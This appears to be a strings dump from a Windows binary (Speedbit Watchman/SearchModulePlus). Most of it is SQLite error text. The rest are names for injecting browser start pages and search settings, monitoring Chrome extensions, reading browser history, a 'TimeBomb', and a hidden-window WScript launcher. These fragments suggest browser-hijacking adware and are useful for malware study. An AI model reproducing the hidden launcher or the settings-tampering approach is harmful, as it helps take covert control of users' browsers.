chrome_settings_overrides
session.startup_urls
session.startup_urls
web_url
web_url
search_icon.png
search_icon.png
select count(*) from sqlite_master where type = 'table' and name = '
select count(*) from sqlite_master where type = 'table' and name = '
%d-%m-%Y %H:%M, %a
%d-%m-%Y %H:%M, %a
large file support is disabled
large file support is disabled
SQL logic error or missing database
SQL logic error or missing database
foreign_keys
foreign_keys
sqlite_compileoption_get
sqlite_compileoption_get
sqlite_compileoption_used
sqlite_compileoption_used
sqlite_source_id
sqlite_source_id
sqlite_version
sqlite_version
sqlite_attach
sqlite_attach
sqlite_detach
sqlite_detach
sqlite_stat1
sqlite_stat1
sqlite_rename_parent
sqlite_rename_parent
sqlite_rename_trigger
sqlite_rename_trigger
sqlite_rename_table
sqlite_rename_table
RowKey
RowKey
SQLITE_
SQLITE_
d-d-d d:d:d
d-d-d d:d:d
d:d:d
d:d:d
d-d-d
d-d-d
failed to allocate %u bytes of memory
failed to allocate %u bytes of memory
failed memory resize %u to %u bytes
failed memory resize %u to %u bytes
922337203685477580
922337203685477580
API call with %s database connection pointer
API call with %s database connection pointer
%s-shm
%s-shm
%s\etilqs_
%s\etilqs_
OsError 0x%x (%u)
OsError 0x%x (%u)
Recovered %d frames from WAL file %s
Recovered %d frames from WAL file %s
invalid page number %d
invalid page number %d
2nd reference to page %d
2nd reference to page %d
Failed to read ptrmap key=%d
Failed to read ptrmap key=%d
Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)
Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)
%d of %d pages missing from overflow list starting at %d
%d of %d pages missing from overflow list starting at %d
failed to get page %d
failed to get page %d
freelist leaf count too big on page %d
freelist leaf count too big on page %d
Page %d:
Page %d:
unable to get the page. error code=%d
unable to get the page. error code=%d
btreeInitPage() returns error code %d
btreeInitPage() returns error code %d
On tree page %d cell %d:
On tree page %d cell %d:
On page %d at right child:
On page %d at right child:
Corruption detected in cell %d on page %d
Corruption detected in cell %d on page %d
Multiple uses for byte %d of page %d
Multiple uses for byte %d of page %d
Fragmentation of %d bytes reported as %d on page %d
Fragmentation of %d bytes reported as %d on page %d
Page %d is never used
Page %d is never used
Pointer map page %d is referenced
Pointer map page %d is referenced
Outstanding page count goes from %d to %d during this analysis
Outstanding page count goes from %d to %d during this analysis
keyinfo(%d
keyinfo(%d
%s(%d)
%s(%d)
%s-mjX
%s-mjX
foreign key constraint failed
foreign key constraint failed
unable to use function %s in the requested context
unable to use function %s in the requested context
bind on a busy prepared statement: [%s]
bind on a busy prepared statement: [%s]
zeroblob(%d)
zeroblob(%d)
abort at %d in [%s]: %s
abort at %d in [%s]: %s
constraint failed at %d in [%s]
constraint failed at %d in [%s]
cannot open savepoint - SQL statements in progress
cannot open savepoint - SQL statements in progress
no such savepoint: %s
no such savepoint: %s
cannot %s savepoint - SQL statements in progress
cannot %s savepoint - SQL statements in progress
cannot rollback transaction - SQL statements in progress
cannot rollback transaction - SQL statements in progress
cannot commit transaction - SQL statements in progress
cannot commit transaction - SQL statements in progress
sqlite_temp_master
sqlite_temp_master
sqlite_master
sqlite_master
SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
cannot change %s wal mode from within a transaction
cannot change %s wal mode from within a transaction
database table is locked: %s
database table is locked: %s
statement aborts at %d: [%s] %s
statement aborts at %d: [%s] %s
cannot open virtual table: %s
cannot open virtual table: %s
cannot open view: %s
cannot open view: %s
no such column: "%s"
no such column: "%s"
foreign key
foreign key
indexed
indexed
cannot open %s column for writing
cannot open %s column for writing
cannot open value of type %s
cannot open value of type %s
misuse of aliased aggregate %s
misuse of aliased aggregate %s
%s: %s.%s.%s
%s: %s.%s.%s
%s: %s.%s
%s: %s.%s
%s: %s
%s: %s
not authorized to use function: %s
not authorized to use function: %s
%r %s BY term out of range - should be between 1 and %d
%r %s BY term out of range - should be between 1 and %d
too many terms in %s BY clause
too many terms in %s BY clause
Expression tree is too large (maximum depth %d)
Expression tree is too large (maximum depth %d)
variable number must be between ?1 and ?%d
variable number must be between ?1 and ?%d
too many SQL variables
too many SQL variables
too many columns in %s
too many columns in %s
misuse of aggregate: %s()
misuse of aggregate: %s()
%.*s"%w"%s
%.*s"%w"%s
%s%.*s"%w"
%s%.*s"%w"
%s OR name=%Q
%s OR name=%Q
there is already another table or index with this name: %s
there is already another table or index with this name: %s
sqlite_
sqlite_
table %s may not be altered
table %s may not be altered
view %s may not be altered
view %s may not be altered
UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
sqlite_sequence
sqlite_sequence
UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q
UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Cannot add a PRIMARY KEY column
Cannot add a PRIMARY KEY column
UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
sqlite_altertab_%s
sqlite_altertab_%s
CREATE TABLE %Q.%s(%s)
CREATE TABLE %Q.%s(%s)
DELETE FROM %Q.%s WHERE tbl=%Q
DELETE FROM %Q.%s WHERE tbl=%Q
SELECT idx, stat FROM %Q.sqlite_stat1
SELECT idx, stat FROM %Q.sqlite_stat1
invalid name: "%s"
invalid name: "%s"
too many attached databases - max %d
too many attached databases - max %d
database %s is already in use
database %s is already in use
unable to open database: %s
unable to open database: %s
no such database: %s
no such database: %s
cannot detach database %s
cannot detach database %s
database %s is locked
database %s is locked
%s %T cannot reference objects in database %s
%s %T cannot reference objects in database %s
access to %s.%s.%s is prohibited
access to %s.%s.%s is prohibited
access to %s.%s is prohibited
access to %s.%s is prohibited
object name reserved for internal use: %s
object name reserved for internal use: %s
there is already an index named %s
there is already an index named %s
too many columns on %s
too many columns on %s
duplicate column name: %s
duplicate column name: %s
default value of column [%s] is not constant
default value of column [%s] is not constant
table "%s" has more than one primary key
table "%s" has more than one primary key
AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY
AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY
no such collation sequence: %s
no such collation sequence: %s
CREATE %s %.*s
CREATE %s %.*s
UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
CREATE TABLE %Q.sqlite_sequence(name,seq)
CREATE TABLE %Q.sqlite_sequence(name,seq)
view %s is circularly defined
view %s is circularly defined
UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d
UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d
table %s may not be dropped
table %s may not be dropped
use DROP TABLE to delete table %s
use DROP TABLE to delete table %s
use DROP VIEW to delete view %s
use DROP VIEW to delete view %s
DELETE FROM %s.sqlite_sequence WHERE name=%Q
DELETE FROM %s.sqlite_sequence WHERE name=%Q
DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q
DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q
foreign key on %s should reference only one column of table %T
foreign key on %s should reference only one column of table %T
number of columns in foreign key does not match the number of columns in the referenced table
number of columns in foreign key does not match the number of columns in the referenced table
unknown column "%s" in foreign key definition
unknown column "%s" in foreign key definition
indexed columns are not unique
indexed columns are not unique
table %s may not be indexed
table %s may not be indexed
views may not be indexed
views may not be indexed
virtual tables may not be indexed
virtual tables may not be indexed
there is already a table named %s
there is already a table named %s
index %s already exists
index %s already exists
sqlite_autoindex_%s_%d
sqlite_autoindex_%s_%d
table %s has no column named %s
table %s has no column named %s
CREATE%s INDEX %.*s
CREATE%s INDEX %.*s
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
no such index: %S
no such index: %S
index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
DELETE FROM %Q.%s WHERE name=%Q
DELETE FROM %Q.%s WHERE name=%Q
DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q
DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q
a JOIN clause is required before %s
a JOIN clause is required before %s
unable to identify the object to be reindexed
unable to identify the object to be reindexed
table %s may not be modified
table %s may not be modified
cannot modify %s because it is a view
cannot modify %s because it is a view
foreign key mismatch
foreign key mismatch
table %S has %d columns but %d values were supplied
table %S has %d columns but %d values were supplied
%d values for %d columns
%d values for %d columns
table %S has no column named %s
table %S has no column named %s
%s.%s may not be NULL
%s.%s may not be NULL
PRIMARY KEY must be unique
PRIMARY KEY must be unique
sqlite3_extension_init
sqlite3_extension_init
unable to open shared library [%s]
unable to open shared library [%s]
no entry point [%s] in shared library [%s]
no entry point [%s] in shared library [%s]
error during initialization: %s
error during initialization: %s
automatic extension loading failed: %s
automatic extension loading failed: %s
foreign_key_list
foreign_key_list
*** in database %s ***
*** in database %s ***
unsupported encoding: %s
unsupported encoding: %s
malformed database schema (%s)
malformed database schema (%s)
%s - %s
%s - %s
unsupported file format
unsupported file format
SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
database schema is locked: %s
database schema is locked: %s
unknown or unsupported join type: %T %T%s%T
unknown or unsupported join type: %T %T%s%T
RIGHT and FULL OUTER JOINs are not currently supported
RIGHT and FULL OUTER JOINs are not currently supported
a NATURAL join may not have an ON or USING clause
a NATURAL join may not have an ON or USING clause
cannot have both ON and USING clauses in the same join
cannot have both ON and USING clauses in the same join
cannot join using column %s - column not present in both tables
cannot join using column %s - column not present in both tables
%s.%s
%s.%s
%s:%d
%s:%d
ORDER BY clause should come after %s not before
ORDER BY clause should come after %s not before
LIMIT clause should come after %s not before
LIMIT clause should come after %s not before
SELECTs to the left and right of %s do not have the same number of result columns
SELECTs to the left and right of %s do not have the same number of result columns
no such index: %s
no such index: %s
sqlite_subquery_%p_
sqlite_subquery_%p_
no such table: %s
no such table: %s
sqlite3_get_table() called with two or more incompatible queries
sqlite3_get_table() called with two or more incompatible queries
cannot create %s trigger on view: %S
cannot create %s trigger on view: %S
cannot create INSTEAD OF trigger on table: %S
cannot create INSTEAD OF trigger on table: %S
INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
no such trigger: %S
no such trigger: %S
-- TRIGGER %s
-- TRIGGER %s
no such column: %s
no such column: %s
PRAGMA vacuum_db.synchronous=OFF
PRAGMA vacuum_db.synchronous=OFF
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)
UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
vtable constructor failed: %s
vtable constructor failed: %s
vtable constructor did not declare schema: %s
vtable constructor did not declare schema: %s
no such module: %s
no such module: %s
table %s: xBestIndex returned an invalid plan
table %s: xBestIndex returned an invalid plan
at most %d tables in a join
at most %d tables in a join
cannot use index: %s
cannot use index: %s
TABLE %s
TABLE %s
%s AS %s
%s AS %s
%s WITH AUTOMATIC INDEX
%s WITH AUTOMATIC INDEX
%s WITH INDEX %s
%s WITH INDEX %s
%s VIA MULTI-INDEX UNION
%s VIA MULTI-INDEX UNION
%s USING PRIMARY KEY
%s USING PRIMARY KEY
%s VIRTUAL TABLE INDEX %d:%s
%s VIRTUAL TABLE INDEX %d:%s
%s ORDER BY
%s ORDER BY
the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
unable to close due to unfinished backup operation
unable to close due to unfinished backup operation
unknown database: %s
unknown database: %s
no such vfs: %s
no such vfs: %s
database corruption at line %d of [%.10s]
database corruption at line %d of [%.10s]
misuse at line %d of [%.10s]
misuse at line %d of [%.10s]
cannot open file at line %d of [%.10s]
cannot open file at line %d of [%.10s]
Argument.StartPage:
Argument.StartPage:
Argument.Autosearch:
Argument.Autosearch:
Argument.NewTabPageShow:
Argument.NewTabPageShow:
Argument.SearchScopeId:
Argument.SearchScopeId:
Argument.Tabs:
Argument.Tabs:
C:\BUILDS\Build_Watchman\Ver2\Speedbit.Watchman\Bin\SearchModulePlus_SearchModulePlus\Win32\WinMV\Release\smu.pdb
C:\BUILDS\Build_Watchman\Ver2\Speedbit.Watchman\Bin\SearchModulePlus_SearchModulePlus\Win32\WinMV\Release\smu.pdb
SHELL32.dll
SHELL32.dll
SHLWAPI.dll
SHLWAPI.dll
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
RegOpenKeyExW
RegOpenKeyExW
ADVAPI32.dll
ADVAPI32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
MSVCP90.dll
MSVCP90.dll
MSVCR90.dll
MSVCR90.dll
_amsg_exit
_amsg_exit
_crt_debugger_hook
_crt_debugger_hook
WinHttpReceiveResponse
WinHttpReceiveResponse
WinHttpSendRequest
WinHttpSendRequest
WinHttpConnect
WinHttpConnect
WinHttpCloseHandle
WinHttpCloseHandle
WinHttpQueryDataAvailable
WinHttpQueryDataAvailable
WinHttpOpen
WinHttpOpen
WinHttpOpenRequest
WinHttpOpenRequest
WinHttpReadData
WinHttpReadData
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetIEProxyConfigForCurrentUser
WINHTTP.dll
WINHTTP.dll
GetExtendedTcpTable
GetExtendedTcpTable
IPHLPAPI.DLL
IPHLPAPI.DLL
WS2_32.dll
WS2_32.dll
PSAPI.DLL
PSAPI.DLL
WTSAPI32.dll
WTSAPI32.dll
Secur32.dll
Secur32.dll
CryptMsgClose
CryptMsgClose
CertGetNameStringW
CertGetNameStringW
CertFreeCertificateContext
CertFreeCertificateContext
CertFindCertificateInStore
CertFindCertificateInStore
CertCloseStore
CertCloseStore
CryptMsgGetParam
CryptMsgGetParam
CRYPT32.dll
CRYPT32.dll
USERENV.dll
USERENV.dll
CreatePipe
CreatePipe
ConnectNamedPipe
ConnectNamedPipe
CreateNamedPipeW
CreateNamedPipeW
GetNamedPipeInfo
GetNamedPipeInfo
DisconnectNamedPipe
DisconnectNamedPipe
GetProcessHeap
GetProcessHeap
RegCreateKeyW
RegCreateKeyW
RegCreateKeyExW
RegCreateKeyExW
RegOpenKeyW
RegOpenKeyW
RegQueryInfoKeyW
RegQueryInfoKeyW
RegDeleteKeyA
RegDeleteKeyA
RegDeleteKeyW
RegDeleteKeyW
RegEnumKeyExA
RegEnumKeyExA
RegCreateKeyA
RegCreateKeyA
RegCreateKeyExA
RegCreateKeyExA
RegQueryInfoKeyA
RegQueryInfoKeyA
RegOpenKeyA
RegOpenKeyA
RegEnumKeyExW
RegEnumKeyExW
RegEnumKeyW
RegEnumKeyW
.?AVImplementation@ReportBuilder@Monitor@SpeedBit@@
.?AVImplementation@ReportBuilder@Monitor@SpeedBit@@
.?AVReportBuilder@Monitor@SpeedBit@@
.?AVReportBuilder@Monitor@SpeedBit@@
.?AVHistoryReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@
.?AVHistoryReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@
.?AVReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@
.?AVReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@
.?AVImplementation@ServerReporter@Monitor@SpeedBit@@
.?AVImplementation@ServerReporter@Monitor@SpeedBit@@
.?AVServerReporter@Monitor@SpeedBit@@
.?AVServerReporter@Monitor@SpeedBit@@
.?AVEventHandler@SendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@
.?AVEventHandler@SendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@
.?AVSendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@
.?AVSendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@
.?AVProfile@Implementation@InstallInfo@Firefox@SpeedBit@@
.?AVProfile@Implementation@InstallInfo@Firefox@SpeedBit@@
.?AVInstallInfo@Implementation@0Firefox@SpeedBit@@
.?AVInstallInfo@Implementation@0Firefox@SpeedBit@@
.?AVProfile@InstallInfo@Firefox@SpeedBit@@
.?AVProfile@InstallInfo@Firefox@SpeedBit@@
.?AVInstallInfo@Firefox@SpeedBit@@
.?AVInstallInfo@Firefox@SpeedBit@@
.?AVImplementation@PipedProcess@Utils@SpeedBit@@
.?AVImplementation@PipedProcess@Utils@SpeedBit@@
.?AVPipedProcess@Utils@SpeedBit@@
.?AVPipedProcess@Utils@SpeedBit@@
.?AVImplementation@MachineKey@Utils@SpeedBit@@
.?AVImplementation@MachineKey@Utils@SpeedBit@@
.?AVMachineKey@Utils@SpeedBit@@
.?AVMachineKey@Utils@SpeedBit@@
.?AVFirefoxSettings@Implementation@Snapshot@Injection@SpeedBit@@
.?AVFirefoxSettings@Implementation@Snapshot@Injection@SpeedBit@@
.?AVChromeSettings@Implementation@Snapshot@Injection@SpeedBit@@
.?AVChromeSettings@Implementation@Snapshot@Injection@SpeedBit@@
.?AVSettings@Firefox@Snapshot@Injection@SpeedBit@@
.?AVSettings@Firefox@Snapshot@Injection@SpeedBit@@
.?AVSettings@Chrome@Snapshot@Injection@SpeedBit@@
.?AVSettings@Chrome@Snapshot@Injection@SpeedBit@@
.?AVUrlSet@Implementation@General@Config@SpeedBit@@
.?AVUrlSet@Implementation@General@Config@SpeedBit@@
.?AVFirefoxValueSet@Implementation@General@Config@SpeedBit@@
.?AVFirefoxValueSet@Implementation@General@Config@SpeedBit@@
.?AVChromeValueSet@Implementation@General@Config@SpeedBit@@
.?AVChromeValueSet@Implementation@General@Config@SpeedBit@@
.?AVOperaSettings@Implementation@General@Config@SpeedBit@@
.?AVOperaSettings@Implementation@General@Config@SpeedBit@@
.?AVFirefoxSettings@Implementation@General@Config@SpeedBit@@
.?AVFirefoxSettings@Implementation@General@Config@SpeedBit@@
.?AVChromeSettings@Implementation@General@Config@SpeedBit@@
.?AVChromeSettings@Implementation@General@Config@SpeedBit@@
.?AVSettings@Opera@General@Config@SpeedBit@@
.?AVSettings@Opera@General@Config@SpeedBit@@
.?AVValueSet@Firefox@General@Config@SpeedBit@@
.?AVValueSet@Firefox@General@Config@SpeedBit@@
.?AVSettings@Firefox@General@Config@SpeedBit@@
.?AVSettings@Firefox@General@Config@SpeedBit@@
.?AVValueSet@Chrome@General@Config@SpeedBit@@
.?AVValueSet@Chrome@General@Config@SpeedBit@@
.?AVSettings@Chrome@General@Config@SpeedBit@@
.?AVSettings@Chrome@General@Config@SpeedBit@@
.?AVUrlSet@General@Config@SpeedBit@@
.?AVUrlSet@General@Config@SpeedBit@@
.?AVFirefoxSettings@Implementation@User@Config@SpeedBit@@
.?AVFirefoxSettings@Implementation@User@Config@SpeedBit@@
.?AVChromeSettings@Implementation@User@Config@SpeedBit@@
.?AVChromeSettings@Implementation@User@Config@SpeedBit@@
.?AVSettings@Firefox@User@Config@SpeedBit@@
.?AVSettings@Firefox@User@Config@SpeedBit@@
.?AVSettings@Chrome@User@Config@SpeedBit@@
.?AVSettings@Chrome@User@Config@SpeedBit@@
.?AVChromeBrowserHistory@SQLite@SpeedBit@@
.?AVChromeBrowserHistory@SQLite@SpeedBit@@
.?AVException@sql@@
.?AVException@sql@@
.?AVImplementation@Factory@BrowserInfo@Chrome@SpeedBit@@
.?AVImplementation@Factory@BrowserInfo@Chrome@SpeedBit@@
.?AVFactory@BrowserInfo@Chrome@SpeedBit@@
.?AVFactory@BrowserInfo@Chrome@SpeedBit@@
.?AVImplementation@BrowserInfo@Chrome@SpeedBit@@
.?AVImplementation@BrowserInfo@Chrome@SpeedBit@@
.?AVBrowserInfo@Chrome@SpeedBit@@
.?AVBrowserInfo@Chrome@SpeedBit@@
.?AVLoader@Extension@Chrome@SpeedBit@@
.?AVLoader@Extension@Chrome@SpeedBit@@
.?AVImplementation@Extension@Chrome@SpeedBit@@
.?AVImplementation@Extension@Chrome@SpeedBit@@
.?AVExtension@Chrome@SpeedBit@@
.?AVExtension@Chrome@SpeedBit@@
.?AVBrowserSettings@Implementation@0Chrome@SpeedBit@@
.?AVBrowserSettings@Implementation@0Chrome@SpeedBit@@
.?AVBrowserSettings@Chrome@SpeedBit@@
.?AVBrowserSettings@Chrome@SpeedBit@@
.?AVImplementation@WebDataDB@SQLite@SpeedBit@@
.?AVImplementation@WebDataDB@SQLite@SpeedBit@@
.?AVWebDataDB@SQLite@SpeedBit@@
.?AVWebDataDB@SQLite@SpeedBit@@
.?AVBrowserSettings@Implementation@0Firefox@SpeedBit@@
.?AVBrowserSettings@Implementation@0Firefox@SpeedBit@@
.?AVBrowserSettings@Firefox@SpeedBit@@
.?AVBrowserSettings@Firefox@SpeedBit@@
PADif (WScript.Arguments.length > 0)
PADif (WScript.Arguments.length > 0)
var root = WScript.Arguments(0);
var root = WScript.Arguments(0);
for (var i = 1, n = WScript.Arguments.length; i
for (var i = 1, n = WScript.Arguments.length; i
args.push(WScript.Arguments(i));
args.push(WScript.Arguments(i));
var path = "\"" root.replace(/\\*$/, "").replace(/\//g, "\\") "\"";
var path = "\"" root.replace(/\\*$/, "").replace(/\//g, "\\") "\"";
path = " \"" args.join("\" \"") "\"";
path = " \"" args.join("\" \"") "\"";
var shell = WScript.CreateObject("WScript.Shell");
var shell = WScript.CreateObject("WScript.Shell");
shell.Run(path, 0, false);
shell.Run(path, 0, false);
0%0 01070
0%0 01070
2(2-272[2
2(2-272[2
3#3-323
3#3-323
8„8C8[8
8„8C8[8
5)686=6{6
5)686=6{6
2%2U2h2
2%2U2h2
4%4u4|4
4%4u4|4
0(0;0`0}0
0(0;0`0}0
5&515?5[5
5&515?5[5
6'626@6\6{6
6'626@6\6{6
!00050=0
!00050=0
2,2U2f2x2
2,2U2f2x2
4)545?5|5
4)545?5|5
11\1{1
11\1{1
;7;
;7;
0!030`0}0
0!030`0}0
50656=6|6
50656=6|6
7$7-787]7
7$7-787]7
6!6)6:6~6
6!6)6:6~6
2$3(3,3034383
2$3(3,3034383
7"7(7,7:7
7"7(7,7:7
1"2-2H2Q2}2
1"2-2H2Q2}2
5(5!9&939
5(5!9&939
9!9(9/959
9!9(9/959
4W5D5
4W5D5
6q7:7]7
6q7:7]7
00=0`0
00=0`0
4L4j4
4L4j4
: :$:0:4:8:
: :$:0:4:8:
2 2$2(2,2024282
2 2$2(2,2024282
8$8(8,8084888
8$8(8,8084888
= =$=(=,=0=4=8=
= =$=(=,=0=4=8=
? ?$?(?,?0?4?8?
? ?$?(?,?0?4?8?
> >$>(>,>0>4>8>
> >$>(>,>0>4>8>
Injection::Snapshot::Controller::IsChromeInstalled
Injection::Snapshot::Controller::IsChromeInstalled
Chrome installed:
Chrome installed:
Injection::Snapshot::Controller::IsFirefoxInstalled
Injection::Snapshot::Controller::IsFirefoxInstalled
Firefox installed:
Firefox installed:
Chrome unchanged:
Chrome unchanged:
Firefox unchanged:
Firefox unchanged:
Checking
Checking
Checking
Checking
logs\${ModuleName}.${Pid}.log
logs\${ModuleName}.${Pid}.log
WatchmanKey::TimeBomb::UninstallTimeBomb
WatchmanKey::TimeBomb::UninstallTimeBomb
Reporting
Reporting
ChromeExtensionMonitorWorkerThread started
ChromeExtensionMonitorWorkerThread started
ChromeExtensionMonitor::CollectExtensionInfo
ChromeExtensionMonitor::CollectExtensionInfo
ChromeExtensionMonitor::CheckExtension
ChromeExtensionMonitor::CheckExtension
8Reset DNS to 8.8.8.8 for adapter
8Reset DNS to 8.8.8.8 for adapter
WinHTTP Example/1.0
WinHTTP Example/1.0
VVV.google.com
VVV.google.com
SOFTWARE\Google\Chrome
SOFTWARE\Google\Chrome
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
Registry::Helper::RegOpenKeyExA
Registry::Helper::RegOpenKeyExA
Chrome::StartPageProtectionEnabled
Chrome::StartPageProtectionEnabled
Chrome::SearchEngineProtectionEnabled
Chrome::SearchEngineProtectionEnabled
Chrome::RestoreOnStartupProtectionEnabled
Chrome::RestoreOnStartupProtectionEnabled
Chrome::StartPageProtectionDisabled
Chrome::StartPageProtectionDisabled
Chrome::SearchEngineProtectionDisabled
Chrome::SearchEngineProtectionDisabled
Chrome::RestoreOnStartupProtectionDisabled
Chrome::RestoreOnStartupProtectionDisabled
Firefox::StartPageChangedByUser
Firefox::StartPageChangedByUser
Firefox::SearchEngineChangedByUser
Firefox::SearchEngineChangedByUser
Explorer.HomePageEvent:
Explorer.HomePageEvent:
Explorer.SearchEngineEvent:
Explorer.SearchEngineEvent:
Firefox.HomePageEvent:
Firefox.HomePageEvent:
Firefox.SearchEngineEvent:
Firefox.SearchEngineEvent:
ProcessCatcher::ExecutionContext::Resume
ProcessCatcher::ExecutionContext::Resume
Allocation
Allocation
iexplore.exe
iexplore.exe
rundll32.exe
rundll32.exe
chrome.exe
chrome.exe
firefox.exe
firefox.exe
opera.exe
opera.exe
safari.exe
safari.exe
navigator.exe
navigator.exe
torch.exe
torch.exe
U.exe
U.exe
epic.exe
epic.exe
browser.exe
browser.exe
Maxthon.exe
Maxthon.exe
sbframe.exe
sbframe.exe
avant.exe
avant.exe
dragon.exe
dragon.exe
bobrowser.exe
bobrowser.exe
ProcessMonitor::ExecutionContext::Resume
ProcessMonitor::ExecutionContext::Resume
E:\iexplore.exe|E:\rundll32.exe
E:\iexplore.exe|E:\rundll32.exe
E:\chrome.exe
E:\chrome.exe
E:\firefox.exe
E:\firefox.exe
E:\opera.exe
E:\opera.exe
E:\Safari.exe|E:\navigator.exe|E:\torch.exe|E:\U.exe|E:\epic.exe|E:\browser.exe|E:\Maxthon.exe|E:\sbframe.exe|E:\avant.exe|E:\dragon.exe|E:\bobrowser.exe
